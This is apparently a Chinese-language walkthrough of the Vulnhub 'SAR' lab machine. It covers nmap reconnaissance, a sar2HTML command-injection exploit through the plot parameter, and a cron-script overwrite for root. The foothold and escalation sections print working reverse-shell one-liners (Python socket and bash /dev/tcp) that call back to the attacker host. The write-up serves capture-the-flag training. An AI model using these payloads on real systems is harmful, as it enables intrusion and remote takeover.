SAR 靶機筆記
概述
SAR 是 Vulnhub 上的靶機,大家可以去 vulnhub 網站上去進行下載。
這裡有連結: https://download.vulnhub.com/sar/sar.zip
一丶常規的 nmap 掃描
1)主機發現
sn 只做 ping 掃描,不做埠掃描
nmap -sn 192.168.84.1/24
MAC Address: 00:50:56:FA:CB:D3 (VMware)
Nmap scan report for 192.168.84.132
Host is up (0.00041s latency).
這裡可以看到靶機 ip:192.168.84.132
2)埠掃描
sT tcp 掃描 min-rate 指定最低速率 -p- 指定全埠 -o 指定輸出路徑
nmap -sT --min-rate 10000 -p- 192.168.84.132 -o ports
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-16 22:01 EDT
Nmap scan report for 192.168.84.132
Host is up (0.00019s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.67 seconds
3)詳細資訊掃描
nmap -sT -sV -sC -p80 192.168.84.132 -o details
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-16 22:12 EDT
Nmap scan report for 192.168.84.132
Host is up (0.00019s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 00:0C:29:11:2F:03 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.65 seconds
4)預設漏洞指令碼掃描
nmap --script=vuln 192.168.84.132 -o vuln
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-16 22:14 EDT
Nmap scan report for 192.168.84.132
Host is up (0.00018s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum:
| /robots.txt: Robots file
|_ /phpinfo.php: Possible information file
MAC Address: 00:0C:29:11:2F:03 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 31.80 seconds
可以看到掃描出 robots.txt
、phpinfo.php
檔案
二、web 滲透
開啟主頁
看到是預設頁面
robots.txt
phpinfo.php
1)發現 cms
robots.txt 中有內容首先想到可能是目錄,訪問一下

看到就是一個 cms 的頁面,sar2HTML
我們去 searchsploit 裡面搜尋一下這個 cms,看看有沒有什麼漏洞
searchsploit sar2html
看到有兩個,版本也是一致的
searchsploit -m 47204
把 txt 的下載下來啊 這兩個是都可以的喜歡用那個就用那個
cat 47204.txt
# Exploit Title: sar2html Remote Code Execution
# Date: 01/08/2019
# Exploit Author: Furkan KAYAPINAR
# Vendor Homepage:https://github.com/cemtan/sar2html
# Software Link: https://sourceforge.net/projects/sar2html/
# Version: 3.2.1
# Tested on: Centos 7
In web application you will see index.php?plot url extension.
http://<ipaddr>/index.php?plot=;<command-here> will execute
the command you entered. After command injection press "select # host" then your command's
output will appear bottom side of the scroll screen.
讀一下介紹還是挺詳細的,在 index.php 的頁面裡有一個 plot 引數可以命令執行。
三、獲得立足點
http://192.168.84.132/sar2HTML/index.php?plot=;python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.84.128",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
用 python3 的反彈命令
成功獲得立足點
四、提權到 root
檢視定時任務
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/5 * * * * root cd /var/www/html/ && sudo ./finally.sh
有一個執行 finally.sh 的命令
我們去看看這個檔案內容
cat finally.sh
#!/bin/sh
./write.sh
他執行了當前目錄下的 write.sh
檔案
我們在看看 write.sh
檔案
cat ./write.sh
#!/bin/sh
touch /tmp/gateway
是一個建立檔案的命令
看一下許可權
我們只對 write.sh
有操作許可權,可以把他修改為一個反彈 shell 的命令,獲得 root 的 shell
我們在卡一個 kali 的終端
nc -lvp 8888
在 www-data
的命令列執行,如下命令
echo "bash -c 'bash -i >& /dev/tcp/192.168.84.128/8888 0>&1‘" >./write.sh
等待 5 分鐘
root@sar:/var/w/html# cd/rootcd/root
root@sar:~# ls
root.txt
snap
root@sar:~#cat root.txt
66f93d6b2ca96c9ad78a8a9ba0008e99
root@sar:~#
成功獲取到 root 許可權
總結
- 先用 nmap 掃描,發現目標靶機開啟了 80 埠 http 的常規服務,並發現幾個常規的路徑
- 訪問 80 埠暴露出來的路徑,在
robots.txt
中發現sar2HTML
目錄,開啟後看到一個 cms 框架 - 在 searchsploit 中搜走 sar2HTML 找到 RCE 漏洞
- 利用 RCE 漏洞獲得立足點
- 利用定時任務提權到了 root